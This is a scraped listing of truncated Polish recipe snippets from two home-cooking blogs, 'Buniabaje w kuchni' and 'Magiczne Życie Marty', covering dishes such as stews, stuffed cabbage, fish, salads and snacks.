dyskutuję . Od lat robię , podaję, jedzą . Tyle, że kombinuję z nim . A to omlet ze szpinakiem , a to pierożki z farszem szpinakowym , w cieście szpinakowym , z sosem szpinakowym i takie tam. A , że dziś miałam ochotę na normalny szpinak to pozostało tylko jakoś ten szpinak podać. Przypomniały mi się parmezanowe koszyczki . Miałam akurat   litewski ser Dziugas bardzo zbliżony smakiem

Buniabaje w kuchni
Sezamowa rzodkiewka-sałatka 195

Jakoś tak się przyzwyczailiśmy że rzodkiewka to do białego sera lub na kanapki. Ja już parę razy ,, odczarowywałam ją " wyprawiając w świat. Robiłam pikle z marynowanych rzodkiewek, smażyłam w sosie sojowym. Robię jarzynkę   i chłodnik z liści rzodkiewki. Teraz przyszła pora na rzodkieweczkę w tajskim stylu. Czas: 10 minut Składniki: 1 pęczek rzodkiewki kilka gałązek dymki lub szczypioru sól

Buniabaje w kuchni
Yakitori wg Buni 344

też trochę przypraw - no ale o to już maniacy gotowania dbają. Czas: 45 minut Składniki: 1 duża pojedyncza pierś z kurczaka białe części od pęczka szczypioru 2 łyżki ciemnego sosu sojowego 2 łyżki oleju z pestek winogron ( lub ryżowego) 1 pełna łyżka brązowego cukru nie oczyszczanego 1 łyżka soku z cytryny szczypta mielonego imbiru 1/2 łyżeczki mielonego kminku 1/2 łyżeczki

Buniabaje w kuchni
Kminkowa łopatka 233

Duszona wieprzowina zawsze ma u mnie zwolenników. Powodem jest chyba aromatyczny sos i fakt , że mięso rozpływa sie w ustach. Tym razem upiekłam łopatkę bardzo prosto doprawioną ( przewagę w przyprawach stanowił kminek ziarnisty). Czytaj więcej

Buniabaje w kuchni
Ziemniaczano-buraczkowa sałatka z rzodkiewką 281

Sałatka tzw. gospodarska. Gotowałam ziemniaki ( i robiłam surówkę ) na obiad . Pomyślałam, że warto zabezpieczyć sobie coś na kolację małym nakładem pracy. Zrobiłam prostą sałatkę ziemniaczaną z sosem majonezowo buraczkowym . Żeby zwiększyć jej atrakcyjność dodałam rzodkiewkę. Czytaj więcej

Buniabaje w kuchni
Placuszki z kurczaka z kiełkami fasoli mun 224

parmezanu lub innego twardego , ostrego w smaku sera żółtego garść świeżych kiełków fasoli mun ( lub mała puszka konserwowych ok. 20 dag) 1 jajko 2 łyżki mąki ziemniaczanej 1 łyżka sosu sojowego 1 łyżeczka przyprawy do dań chińskich 5 smaków szczypta pieprzu mielonego szczypta mielonego chili szczypta soli olej słonecznikowy do smażenia Pokroić bardzo drobno mięso z piersi kurczaka. Utrzeć

Buniabaje w kuchni
Kurczak i ziemniaki opiekane z rozmarynem 214

Lubię gotowanego kurczaka z rosołu , ale bez przesady- nie za każdym razem kiedy gotuję rosół musi być potem gotowane mięso. Robię panierowane , w sosach, zapiekanki itd. Robię też w takie jak ten tzn. ugotowane mięso pokrywam glazurą ( marynatą ) -zostawiam by ostygło i przeszło smakami a potem podsmażam. Czas z gotowaniem: 2 godziny Składniki: 1 duże udko ( pół kg ) lub górne

Buniabaje w kuchni
Polędwica wieprzowa z tymiankiem 163

Polędwica ma to do siebie , że dzięki swej delikatności doskonale komponuje się z różnymi smakami. Pyszna jest z grzybami , ale i z czosnkiem. Gotowana w sosie chrzanowym albo jako bitki. Robię ja też w rozmarynie i tymianku. Dziś przyszła pora na tymianek. Czytaj więcej

Buniabaje w kuchni
Puree selerowo – ziemniaczano- jabłkowe 243

innych dań też można ale mnie najbardziej sprawdza sie w tym zestawieniu). * Zostało mi pieczeni wieprzowej z marchewką i tymiankiem z wczoraj - z tym , że samego mięsa w odrobinie sosu , bez marchewki. Podgrzałam podlewając kilkoma łyżkami śmietanki i dodając masła.A że nie było marchewki to mogłam zrobić do niej kremowe puree z dodatkiem selera i jabłka. Zamiast surówki podałam

Buniabaje w kuchni
Kotleciki pół-drobiowe 424

zestawem surówek bez dodatków typu ziemniaki, ryż . Miały być samodzielną potrawą samą w sobie. Z tego też powodu powinny być moim zdaniem dość mocno doprawione bo nie planowałam sosu. Postawiłam na doprawienie zioła. Czytaj więcej

Buniabaje w kuchni
Knedel ziemniaczany z otrębami i ziołami 168

Doskonały dodatek do wszelkiego rodzaju gulaszu lub zrazików w sosie. Zamiast robić niezliczoną ilość kopytek lub klusek śląskich przygotowuję jeden knedel i potem kroję w plastry. Zmienia się tylko to czy jest to knedel z grzankami z ziołami czy może z dodatkiem otrębów. Wszystkie są dobre. Czytaj więcej

Buniabaje w kuchni
Gołąbki doprawiane tymiankiem 187

ryżem) tyle , że farsz doprawiłam świeżym tymiankiem ( z reguły dodaję do farszu otarty majeranek). Świeży tymianek nadaje potrawom specyficznego aromatu ,który bardzo mi odpowiadam. Dodatkowo posypuję gotowe gołąbki i sos drobnymi listkami tymianku bezpośrednio przed podaniem. Czytaj więcej

Buniabaje w kuchni
Kalarepki duszone na maśle 223

kalarepkę do smaku solą, cukrem i sokiem z cytryny. W czasie gotowania wydzieli się z kalarepy sok , który połączy się ze zrumienionym masłem i wodą która nie odparuje tworząc sos. Możemy podawać kalarepkę w tej formie lub oprószyć łyżką mąki- jak kto lubi

Buniabaje w kuchni
Pstrąg w kwaśnym cieście 171

Robiłam już Fish and Chips wg klasycznego przepisu angielskiego tzn. w cieście zakwaszanym octem i podawaną z sosem Worcester. Jak to zwykle u mnie po opanowaniu klasyki przyszła pora na eksperymenty. Dziś padło na pstrąga. Czytaj więcej

Buniabaje w kuchni
Kofte wg Buni ( z indyka ) 235

się mówi prawidłowo - kofte , kofta , kofty ? ważne , że bardzo lubię te pikantne kotleciki . Można je piec na grillu , w piekarniku lub po prostu na patelni. Do tego jogurt, sos tzatziki i micha sałatki .Danie akurat wieczorne spotkanie przy grillu. Oryginalne robi się z jagnięciny. Czytaj więcej

Buniabaje w kuchni
Zrazy zawijane ze schabu w cebuli 224

większej ilości podwajając lub nawet potrajając ilość składników, bo tak jak wszystkie duszone mięsa są smaczniejsze gdy robi się ich więcej na raz . Można potem zamrozić je z sosem. Podałam z polentą z kaszy Czytaj więcej

Buniabaje w kuchni
Makaron świderki a'la tabbouleh 214

Często robię prosta sałatkę z kuskusu zmieszanego zimnym sosem z warzyw , oleju i soku z cytryny na zimno. Wiem, że Włosi robią cos podobnego z makaronem. Oryginał nie specjalnie mnie pociągał ze względu na użycie czosnku i bazylii. Bazylii nie lubię , a czosnku ostatnio nie mogę. Wymyśliłam sobie wersję a'la Bunia. Czytaj więcej

Buniabaje w kuchni
Roladki ze schabu 193

Roladki, zrazy zawijane duszone w sosach zawsze są u nas mile widziane. Kruche, chude mięso ze schabu owinięte wokół klasycznego nadzienia do zrazów ( ogórek, wędzonka, suszone grzyby). Eksperymentalnie dodałam świeżą paprykę - sprawdziło się doskonale. Można zrobić w większej ilości i zamrozić w porcjach. (Zdjęcie z archiwum ). Czytaj więcej

Buniabaje w kuchni
Chicken Curry wg Buni 356

kuchnia tajska. Aromat i zapach limonki, trawy cytrynowej, Kafiru połączone ze smakiem mleka kokosowego, pasty curry ( lub przypraw na nią się składających). I ta różnorodność potraw- od zupy przez sos do gulaszu. Z ryb, drobiu, mięs do wegetariańskich. Z ryżem , plackami , ziemniakami ( te o dziwo traktowane są jako warzywny składnik dań a nie osobny dodatek do potrawy). Czytaj więcej

Buniabaje w kuchni
Krokiety z ziemniaków z makrelą w pomidorach 147

Robiłam już krokiety z tuńczykiem w oleju .Tym razem podjęłam próbę zrobienia podobnych krokietów z tego co było w lodówce czyli puszki makreli w sosie pomidorowym. Wzbogaciłam smak zmielonymi orzeszkami ziemnymi . Czytaj więcej

Buniabaje w kuchni
Kabaczek faszerowany wg Buni 180

Kabaczek i cukinię robię na wiele sposobów .Faszeruję wszystkim co się da i duszę w sosie , zapiekam , robię jako a'la gulasz, marynowane . Cukinie z reguły kroję na pół i robię z nich ,, łódeczki" i tak faszeruję. Natomiast kabaczki wydrążam tworząc ,,tubę" i w tej formie duszę. Potem kroję w grube plastry ( nawet mrożę w porcjach ). Czytaj

Buniabaje w kuchni
Gulasz z serc drobiowych z grzybami 225

krokiety).Wątróbka po za klasycznym II Daniem przydaje się do wszelkiego rodzaju past , pasztecików , farszów. Ale wracając do serduszek - czasem robie z nich gulasz lub potrawkę. Potrawkę w sosie koperkowym ( z utartymi jarzynami), gulasz z warzywami lub gulasz z suszonymi grzybami. I muszę powiedzieć , ze ten mi najbardziej odpowiada. W moim przypadku problemem jest ilość gulaszu który gotuję ( 2 małe

Buniabaje w kuchni
Dorsz w tymiankowych pomidorach 151

zawsze w doniczce , a pomidory bez skórki w puszce stoją zawsze w spiżarni. W trakcie gotowania przepis lekko zmodyfikowałam dodając między innymi suszone pomidory , mieloną paprykę , pieprz i zamieniając sos sojowy na maggi bo tak mi bardziej smakowało. Czytaj więcej

Buniabaje w kuchni
Jesienne gołąbki 192

zapas mi się w zamrażarce skończył ). Pokusiło mnie by dodać do masy mięsnej pokrojonej czerwonej papryki. Wiedziałam , że smak będzie dobry bo przecież robię paprykę faszerowaną .Połączenie smaku pomidorów ( sos) i papryki doceniłam już dawno. No i dodatkowy plus - pięknie wyglądają po przekrojeniu. Czytaj więcej

Buniabaje w kuchni
Placki z cukinii , jabłek i puree ziemniaczanego 237

siebie nie jest specjalnie wyrazista, a że zostało mi ziemniaków puree z wczoraj to dodałam do masy by placuszki były pulchniejsze. Zależnie od upodobania można podać z ostrym sosem typu tzatziki lub na słodko z cukrem , konfiturami i śmietaną - u mnie tak sobie zażyczono. Czytaj więcej

Buniabaje w kuchni
Biała kiełbasa obgotowana-obsmażana 190

rumiano z obu stron. Zdjąć kiełbaski z patelni . Wlać śmietankę. Zagotować na małym gazie. Doprawić maggi i pieprzem. Dosypać połowę posiekanej natki pietruszki. Włożyć kiełbaski i chwilę dusić w sosie. Podawać z ziemniakami puree , surówką posypane resztą usiekanej natki pietruszki. * Nie lubię gdy kiełbasa jest tylko sparzona dla tego nie wkładam jej do wrzątku jak to jest w zwyczaju

Buniabaje w kuchni
Gołąbki wg Babci Basi ( z koperkiem) 203

mieć czasem w zamrażarce żelazny zapas. Jedna z prostszych odmian gołąbków. Te wyjątkowo mi smakują bo zamiast zwykle dodawanej natki pietruszki - Mama dodaje dużo koperku. Podajemy same dużą ilością sosu bo sporo w nich ryżu, posypując dodatkowo po wierzchu usiekanym koprem , pieprzem i dla dekoracji drobno pokrojonym pomidorem. Przepis wstawiony TU Czytaj więcej

Buniabaje w kuchni
Jabłkowe kotleciki z kurczaka 173

odrobiną słoniny .Doprawiłam utartym jabłkiem ( pomysł z kuchni angielskiej - apple sausages - bo jak można robić jabłkowe kiełbaski to czemu nie mielone). Podałam z makaronem Pantacce ( po naszemu karbowana wstążka ), sosem holenderskim i posypałam szczypiorkiem. Czytaj więcej

Buniabaje w kuchni
Dorsz po grecku z modyfikacją 199

sposób , że kupując filet ryby na obiad z góry przeznaczam połowę na rybę po grecku lub w galarecie. Dziś zaciekawiło mnie czy można trochę zmienić podstawowy skład sosu do ryby po grecku. Dodałam pokrojonej w paski papryki i krojonego pomidora ( użyłam zamrożone na leczo). Podpowiadam - taka ryba ,,po grecku" jest pyszna. Czytaj więcej

Buniabaje w kuchni
Gulasz z karkówki z makaronem Papardelle 188

Uwielbiam gulasze , a w zasadzie to sos od nich - mięsa nie musi być :). Często robię takie minimalne porcje i podaję z kaszami, kluskami , plackami ziemniaczanymi lub tak jak tu z makaronem. Czytaj więcej

Buniabaje w kuchni
Mielone w rozmarynie i pieczarkach 219

Przygotowywanie kotletów mielonych w większych ilościach i mrożenie ich na zapas to moim zdaniem fantastyczny pomysł. Potem wystarczy skomponować dodatki ( sosy ) i mamy obiad gotowy. Czytaj więcej

Buniabaje w kuchni
Wigilijna kapusta z grzybami doprawiona powidłami śliwkowymi 216

Chyba jedna ze starszych wersji tej potrawy. Powidła śliwkowe robione były w historycznych czasach i wykorzystywane jako przyprawa. Nacierano nimi ( tak jak i miodem) mięso do pieczenia, zaprawiano sosy. W starych przepisach na bigos nie uświadczy się modnego tak obecnie dodatku koncentratu pomidorowego- za to są powidła śliwkowe. Tak samo wigilijna kapusta z grzybami zyskuje na smaku jeśli dodamy

Buniabaje w kuchni
Wigilijny karp z faszerowanymi pieczarkami 203

mnie tradycja. Co nie znaczy, że nie można go podać trochę inaczej. Bardzo nam pasuje łączenie karpia z grzybowym smakiem. Robię pieczonego z pieczarkami, duszonego po usmażeniu w grzybowym sosie , smażonego w towarzystwie gotowanych kapeluszy grzybów suszonych no i takiego - gdzie pieczarki nadają karpiowi smaku i jednocześnie dekorują potrawę. Czytaj więcej

Buniabaje w kuchni
Karkówka obłożona gruszkami z chrzanem i żurawiną 201

Jedna z najprostszych metod przygotowania mięsa w całości jaką znam . Nie trzeba mięsa wiele pilnować. Mięso jest miękkie i soczyste .Dodatkowo mamy pyszny sos . W zasadzie nie wiem czy powinnam pisać o pieczeniu czy raczej o duszeniu mięsa .Piekę ( duszę ) zawsze większy kawałek po to by mieć część na gorąco na obiad , a reszta zostaje do podawania na zimno. Zależnie

Buniabaje w kuchni
Porosołowy pasztecik gotowany na parze 198

już się porobiło, że nie pamiętam kiedy ostatnio robiłam pasztet. Obierałam mięso wyjęte z rosołu ( kurczak i indyk) .Odłożyłam większe kawałki na II Danie ( w jakiś sos) . Drobne miały iść jak zwykle do zmielenia na farsz do pierogów itp. Przypomniałam sobie , że mam zamrożone kilka wątróbek- czemu by więc nie zrobić delikatnego paszteciku ugotowanego na parze ? Czytaj więcej

Buniabaje w kuchni
Wywary na zupę na rumianych warzywach 226

Wyjęte i ostudzone wyglądają co prawda nie specjalnie efektownie , ale to nic. Odrzucamy por i cebulę choć i je można po zmiksowaniu użyć np. do zagęszczenia zupy lub zrobienia sosu cebulowego do gotowanego mięsa) Z reszty   wystarczy delikatnie ściąć brązowe przypieczenia i użyć do zrobienia sałatki , jarzynki do II Dania , utłuc z ziemniakami na puree ( osobno marchew, osobno pietruszkę

Buniabaje w kuchni
Gulasz z pomidorową nutą 218

gulaszami krojonymi w ,, ciupinkę " to cała historia. Gulasz ( a w zasadzie sos od gulaszu ) uwielbiają w Rodzinie wszyscy- nawet małe dzieci. Tyle , że maluchy miały problemy z większymi kawałkami mięsa. Kiedyś okroiłam mięso na gulasz ekstra drobno- dzieci były zachwycone. I tak już zostało. Są wersję normalne i ,, drobne" gulaszu. Jeśli chodzi o doprawianie

Buniabaje w kuchni
Miruna w pikantnej marynacie z imbirowym bulionem 232

parze wykorzystałam powstały w dolnym garnku bulion ( z ryby i gotujących się z nią warzyw) do zrobienia rybnego bulionu do popicia II Dania . Potem robiłam z tego wywaru sos. Bardzo nam te dodatki posmakowały. Teraz nawet jak nie robię ryb na parze a smażone , jeśli kupiłam rybne tuszki to filetuję je , a obcięte kręgosłupy, skrzela i wszelkie okrawki gotuję

Buniabaje w kuchni
Gotowane pałki kurczaka - opieczone z imbirem i cytrusami 265

ktoś tak jak ja bazuje w kuchni na wywarach drobiowych to w którymś momencie zaczyna ,, warczeć" na gotowanego kurczaka. No bo ileż można jeść potrawkę, kurczaka w sosie koperkowym , czy obsmażonego w panierce ? Oczywiście przesadzam -robię jeszcze wiele innych dań z takiego gotowanego drobiu , ale każdy nowy pomysł jest mile widziany. Poeksperymentowałam z imbirowo-cytrusowym smakiem ( taka prawie tajszczyzna

Buniabaje w kuchni
Zupa rybna ( z imbirem) i smażony antar 205

Delikatne zupy które zaczęłam robić zupełnie przez przypadek. Najpierw wykorzystywałam po prostu wywar z dolnego garnka przy gotowaniu na parze robiąc sos . Potem zrobiłam zupę. A teraz gotuję zupę mimo tego, że rybę smażę. Okazuje się, że na prawdę wystarczą okrawki jakie zostają przy filetowaniu ryby , trochę ziół , warzyw , przyprawy i pomysł by ugotować pyszną zupę do popijania II Dania

Buniabaje w kuchni
Zawijaski ze schabu na kaszy gryczanej 220

mnie inaczej się nie da. Muszę po prostu robić w małym garnuszku. Poeksperymentowałam trochę z nadzieniem - i co najistotniejsze podałam z fantastyczną kaszą gryczaną ugotowaną na sosie ze zrazów. Zrazy usmażyłam na smalczyku z ziołami ogrodowymi i przyznam , że Smakowita Pajda zaskoczyła mnie tym , że potrawa smakowała tak jak bym użyła prawdziwego smalcu . Czytaj więcej

Buniabaje w kuchni
Rosół z koperkowymi kluskami ptysiowymi 279

musowo trzeba było ugotować rosołek. A podałam go z kluskami ptysiowymi bo takiego przepisu jeszcze nie zapisywałam. Polecam - kluchy można robić jako osobne danie i podawać z sosem. Czytaj więcej

Buniabaje w kuchni
Krupnik na żeberkach z pęczaku i zarumienionych warzyw 233

niż te z drobnej kaszy. Wywar robię z wołowiny , drobiu . Rzadziej na wieprzowinie, chyba , że na ładnym kawałku żeberek .Mięso z krupniku robię potem na drugie danie w jakimś sosie. Czytaj więcej

Buniabaje w kuchni
Wieprzowina w jarzynce ( wszystko po krupniku) 206

wkładam mięsa do zupy ( po za wyjątkami kiedy zupa jest posiłkiem jednodaniowym np. żurek z białą kiełbasą).Ponieważ używam chudych mięs robię je potem na II Danie w jakimś sosie ( lub mieląc na farsze).Warzywa używam na sałatkę. Tym razem połączyłam mięso i warzywa robiąc z nich jedną potrawę. Czytaj więcej

Buniabaje w kuchni
Wołowe bitki z leśnym smaczkiem 235

Małe bitki z ligawy wołowej uduszone w aromatycznym sosie ( z grzybami, rozmarynem, suszonymi śliwkami i oczywiście z dużą ilością cebuli ). Bitki to potrawa z cyklu tych , które lepiej przygotowywać w większej ilości - ale co ma zrobić gotujący jak potrzebuje małe porcje ? Zrobić na 2-3 razy i zamrozić albo zaprosić gości. Czytaj więcej

Buniabaje w kuchni
Kotleciki mielone z kurczaka duszone z groszkiem 391

mielone z piersi kurczaka robię w wielu wersjach. Dodaję do masy mięsnej różne przyprawy by nadać im smaki rodem z innych kuchni. Z reguły podaję je potem w jakimś sosem i ryżem lub makaronem. Dziś na szybko usmażone , uduszone w śmietanie, a potem dodany groszek. Do tego makaron- pół godziny i obiad gotowy. Czytaj więcej

Buniabaje w kuchni
Kurczak ( gotowany) z brzoskwiniami i pieprzem 331

problem. Zupa ugotowana , a warzywa i mięso na którym wywar ugotowałam zostają. Przerabiam go na farsze , sałatki . Z mięsa robię potrawki , panieruję i obsmażam, wkładam w różne sosy. Jednym z takich pomysłów jest nadanie całości dania koloru i smaku brzoskwiniowo- cytrynowo- pieprzowego. Czytaj więcej

Buniabaje w kuchni
Skrzydełka w marynacie teriyaki 231

często gotuję zupy na kurczaku ( w zasadzie prawie wszystkie zupy gotuję na kurczaku ) to i kawałków gotowanego mięsa mam nadmiar. Piersi i udka ,,lądują,, w potrawce lub innym sosie , pałeczki i skrzydełka oraz ,, drobnica,, obrana z kostek kręgosłupa zostaje wykorzystana po zmieleniu na farsz . Ale czasem takie ugotowane mięso z pałek lub skrzydełek smażę panierowane lub wkładam w pikantne marynaty

Buniabaje w kuchni
Nototenia w pieczarkach 165

wielkością akurat na 1 osobę. Skrobię , marynuję i smażę albo w całości , albo fileciki. Ryba ma białe smaczne mięso bez intensywnego rybiego zapach. Doskonale łączy się ze składnikami marynaty, sosów lub innych dodatków. Dziś nototeni towarzyszą pieczarki . Czytaj więcej

Buniabaje w kuchni
Gęsi bigos ( z kiszonej kapusty ) 284

Mało, że przy luzowaniu odłożyłam kościec z przyległościami na rosół i kołduny ( będzie kiedyś potem) to jeszcze połówkę połówki zamroziłam na drugi obiad ( będzie Pierś z gęsi pieczona w sosie pieprzowo-wiśniowym), a połówkę przerobiłam na coś w rodzaju gęsiego bigosu. Czytaj więcej

Buniabaje w kuchni
Pałeczki duszone w pikantnych pomidorkach 260

Drugie życie mięsa z zupy. Nie lubię wkładania mięsa na którym ugotowano zupę jako wkładki do tej zupy. Staram się wykorzystać je inaczej. Albo podaję je w sosach , panieruję i obsmażam, przerabiam na farsze itp. Na tych pałeczkach ugotowałam wywar na botwinkę ( Rosołowa botwinka ze szczyptą sumaku ) - warzywa z wywaru zużyłam na sałatkę , a pałeczki podam z ryżem jaśminowym. Czytaj

Buniabaje w kuchni
Leczo z pulpetami 260

jedno i drugie ( mówię o leczo i pulpetach ) robię w wielu wersjach . Pulpety w różnych sosach , leczo z różnymi dodatkami. Łączę je też razem. Tu podam przepis od początku , ale z reguły jest tak , że wykorzystuję gotowe , zamrożone pulpety w wywarze dodając je do leczo , lub zamrożone gotowe leczo dodając do przygotowywanych pulpetów. A może być

Buniabaje w kuchni
Gołąbki z mięsem i fasolą 173

spróbować zastąpić fasolką ziarnistą część mięsa w gołąbkach ( nie ukrywam pierwotny zamysł był spowodowany tym ,że mielonego było trochę za mało ).Przygotowałam normalny farsz i dodałam odsączoną z sosu pomidorowego fasolkę. Po wymieszaniu doprawiłam. Gołąbki wyszły fantastyczne - bardzo delikatne. Czytaj więcej

Buniabaje w kuchni
Miętus z patelni aromatyzowany tymiankiem 314

Miętus to ryba najsmaczniejsza gdy przygotowuje się ją w prosty sposób. Lubię miętusa z koprem , w sosie koperkowym , z kurkami itd. Smażony na maśle aromatyzowanym ziołami za każdym razem jest trochę inny . I za każdym razem pyszny. Dziś będzie na tymianku. Czytaj więcej

Buniabaje w kuchni
Sałatka ala grecka 216

wygląda tak : Składniki : * pół sałaty lodowej * pół kostki sera typu feta * pomidor * ogórek zielony * cebula * pół słoiczka czarnych oliwek Wszystko kroję i mieszam w misce. Wykładam na talerz. Polewam sosem. Tutaj użyłam gotowego,bo sałatka była na szybką kolację. Do tego pieczywo

Magiczne Życie Marty
Pieczony kurczak z pieczarkami 176

często. Po części dlatego,że jest to jedno z chudszych mięs a ja aktualnie bardzo ograniczam kalorie. A przynajmniej się staram. Tutaj duszony kurczak z pieczarkami co daje nam sos do ziemniaków od razu. Przygotowanie jest banalnie proste.    Składniki : * podudzia z kurczaka - tutaj 8 sztuk ale każdy tyle ile potrzebuje na obiad dla swojej rodzinki * duża cebula * ponad

Magiczne Życie Marty
Makaron z kurczakiem 196

świeżo mielony pieprz  * oregano Przygotowanie : Zamarynować dzień wcześniej kurczaka tak jak lubimy.Usmażyć na oliwie z wyciśniętym ząbkiem czosnku. Wrzucić cukinie i paprykę. Wyłożyć na makaron.Polać powstałym sosem z duszenia kurczaka.Posypać oregano oraz świeżym pieprzem

Magiczne Życie Marty
Cebularze 154

kółka . Robimy w środku wgłębienie na nadzienie. Smarujemy placki roztrzepanym jajkiem,koncentratem. Wykładamy farsz z cebuli. Odstawiamy na 15 minut do wyrośnięcia. Pieczemy na złoty kolor . Ja podaję z sosem czosnkowym . Idealne do zimnego piwka ! Polecam

Magiczne Życie Marty
Kanapka na ciepło II 151

czerwoną pokrojoną w paski. Wszystko przyprawiamy. Moja przyprawa do pizzy króluje ostatnio w kuchni. Ciepłe wykładamy na ulubione pieczywo. Na to cienkie plasterki sera żółtego. I ulubiony ketchup,bądź sos. Co kto lubi

Magiczne Życie Marty
Panna cotta inaczej 158

oprócz żelatyny ) zagotować i przez 10 minut gotować na bardzo małym ogniu. Zdjąć z ognia. Dodać żelatynę i mieszać aż do rozpuszczenia. Rozlać do filiżanek i odstawić do wystygnięcia. Sos do mojego deseru to kisiel. Truskawkowy oczywiście. Dobra alternatywa gdy nie mamy truskawek

Magiczne Życie Marty
Wrapy 172

tego co zalega nam w lodówce,bo do wrapa możemy wrzucić co tylko chcemy. Składniki : * tortilla  * pieczony filet z kurczaka w przyprawie gyros * pomidor * ogórek * cebula * miks sałat * sos : jogurt naturalny , 2 ząbki czosnku , sok z cytryny , suszony tymianek , sól , pieprz

Magiczne Życie Marty
Podsumowanie aktywności na moim blogu - miesiąc SIERPIEŃ 2013 166

Małe podsumowanie SIERPNIA na moim blogu : 16 lubisiów FB 29 obserwujących 38 postów 9467 wyświetleń najpopularniejsze posty : Ogórki z chili Cebularze Sosy czosnkowe - moje trzy wersje Dziękuję za wszystko ! To dzięki Wam mam ochotę prowadzić tego mojego bloga

Magiczne Życie Marty
Z kuchni mojej mamy ... 170

Będzie na pewno relacja z tych dwóch imprez. A teraz zapraszam jeszcze raz do Gdyni.  Ogórki się kiszą  Przetwory - buraki z papryką  Karkówka w przyprawach do sosu  Schnie makaron domowy do rosołu A co znajdziemy pod ta pokrywką ? Zgadnijcie

Magiczne Życie Marty
Szaszłyki z kurczaka 163

pogody na grilla niestety , ale zrobiłam szaszłyki na patelni. Tutaj podane będą z ryżem , ale z każdym dodatkiem smakują idealnie. Nawet same z sosem czosnkowym są świetne. Dzisiaj sobota więc mamy więcej czasu by poszaleć w kuchni.     Składniki : * filet z kurczaka * papryka czerwona * cukinia * pieczarki * cebula czerwona * przyprawa do grilla * łyżka oleju rzepakowego  Przygotowanie : Trzeba zamarynować fileta

Magiczne Życie Marty
Grzyby w occie 197

Sezon na grzyby niby trwa, ale grzybów u nas nie za wiele. Co prawda prawdziwki zdrowe, ale tyle co ich było to wystarczyło na sos i 2 małe słoiczki marynowanych. Więc szaleć nie ma z czym. To dopiero pierwsze wyjście do lasu, więc może coś jeszcze się nazbiera.     Składniki : * grzyby leśne  * sól * szklanka octu  * dwie szklanki

Magiczne Życie Marty
Parówki w cieście francuskim 157

Przepis na szybką przekąskę bądź ciepłą kolację. Najlepiej smakuje z ketchupem bądź sosem czosnkowym.   Składniki : * 4 parówki z szynki * opakowanie ciasta francuskiego * tarty żółty ser * ulubione przyprawy * żółtko jajka  * ketchup Przygotowanie : Ciasto francuskie kroimy na 4 części. Na każdy kawałek układamy parówkę, posypujemy serem i przyprawami. Rolujemy. Smarujemy żółtkiem i pieczemy na złoty kolor. Najlepiej smakują na ciepło

Magiczne Życie Marty
Grzybowe kotlety 188

Miałam miseczkę obgotowanych grzybów a na sos mało , znowu z jajkami nie jadam grzybów leśnych. Wyszło, że spróbuje zrobić coś ala mielone kotlety tyle że zamiast mięsa dam właśnie te grzyby. Do tego dodatek natki pietruszki i kawałeczki mozzarelli do smaku. Polecam spróbować póki trwa jeszcze sezon na grzyby. Ale można też wykorzystać zamrożone grzyby i zrobić jarskie kotlety

Magiczne Życie Marty
Drożdżowe pierogi z pieczarkami 219

gdyby się kleiło - podsypać mąką. Wycinać koła od szklanki. Nadziewać zimnym farszem. Zlepić brzegi. Ułożyć na blaszce do wyrośnięcia. Posmarować żółtkiem i piec na z złoty kolor. Podawać z sosem czosnkowym

Magiczne Życie Marty
ZIELONY NURT - olej z pestek słonecznika - PRZEPIS 148

Kolejna moja ulubiona sałatka. Tym razem polana sosem na bazie oleju z pestek słonecznika który dostałam do przetestowania od firmy ZIELONY NURT .  Sałatka   trzy   kolory   Składniki : * 2 pomidory * kulka mozzarelli  * awokado * 3 łyżki oleju z pestek słonecznika * szczypta soli * szczypta pieprzu  * świeże zioła    Przygotowanie : Składniki kroimy na plasterki. Układamy

Magiczne Życie Marty
Chrupiące panini 267

serem i ułożyć szynkę. Posypać ulubionymi przyprawami. Zapiekać można w piekarniku czy na patelni grillowej. Na zwykłej na małym ogniu też wyjdą pyszne i chrupiące. Można podawać z ulubionym sosem

Magiczne Życie Marty
Spaghetti z pietruszkowym pesto Ani Starmach 176

Przygotowanie : Pestki słonecznika podprażyć na patelni. Zblendować razem z pietruszką , ząbkiem czosnku , parmezanem , sokiem z cytryny , solą i pieprzem oraz oliwą. Ugotować makaron al dente. Wymieszać z sosem pesto

Magiczne Życie Marty
Panierowane parówki - szaszłyki 234

jajku. Bułkę tartą wymieszać z ziołami i obsypać szaszłyki. Czynność powtórzyć żeby parówki dobrze obtoczyć w bułce. Smażyć na niewielkiej ilości oleju na złoty kolor. Podawać ciepłe z ulubionym sosem. U mnie z czosnkowym z dodatkiem ketchupu

Magiczne Życie Marty
Zawijańce z salami 160

kształcie koła. Wykroić 8 trójkątów.  Nadzienie : * opakowanie salami * pół słoiczka przecieru pomidorowego  * łyżeczka oliwy z oliwek  * łyżeczka ulubionych suszonych ziół Przygotowanie :  Każdy trójkąt posmarować sosem przygotowanym z przecieru, oliwy oraz ziół. Ułożyć po 2-3 plasterki salami. Zawijać rogaliki. Każdy rogalik posmarować rozkłóconym jajkiem ze śmietaną. Posypać makiem i czarnuszką. Piec na złoty kolor

Magiczne Życie Marty
Domowa oliwa smakowa 135

niestety. Postanowiłam, że wykorzystam oliwę i dodam do niej zioła. Mój wybór padł na czosnek i chili. Myślę, że oliwa będzie na tyle ostra że przyda mi się do sosów, bo mam zamiar jeść częściej sałatki.    Składniki : * szklanka oliwy  * 6 ząbków czosnku  * papryczka chili    Przygotowanie : Podgrzać oliwę. Do słoika bądź butelki wrzucić obrany czosnek

Magiczne Życie Marty
Tydzień w moim telefonie XX 146

samym wejściem za bar - mamy nadzieję, że nic się poważnego nie stało. Pizza chłopska z boczkiem i wiejską kiełbasą jest idealna w ten zimowy czas. Do pizzy dostałyśmy dwa sosy - meksykański i czosnkowy. Meksykański był bardziej jak pomidorowy a czosnkowego nie próbowałam, bo lubię ten mój, domowy. Ogólnie pozytywnie, szczególnie że byłam tam pierwszy raz. * zima nadal trwa * nasz niedzielny

Magiczne Życie Marty
Współpraca Sante - podsumowanie 191

Recenzja granoli    10) Owsiany blok czekoladowy   11) Recenzja musli   12) Recenzja paprykarza warzywnego    13) Domowy ser ala feta   14) Klopsiki drobiowe w sosie koperkowym   15) Recenzja crunchy   16) Kebab w sałacie lodowej   17) Koreczki z mięsnymi kuleczkami   18) Placuszki bananowe   19) Otrębowe tortille   20) Recenzja pasztetów sojowych

Magiczne Życie Marty
Zupa brokułowa 267

Coś ostatnio często jem brokuły. Czy to do drugiego dania, czy z sosem czosnkowym. Chyba brakuje mi jakiś witamin a jak wiemy brokuł jest bogaty w witaminy C,A,B i beta karoten. Z soli mineralnych zawierają dużo wapnia, fosforu, żelaza i miedzi. Dlatego by nie traciły swoich wartości, najlepiej tylko krótko je obgotować. I tak powstała szybka zupa brokułowa

Magiczne Życie Marty
Zdrowa sałatka po włosku 627

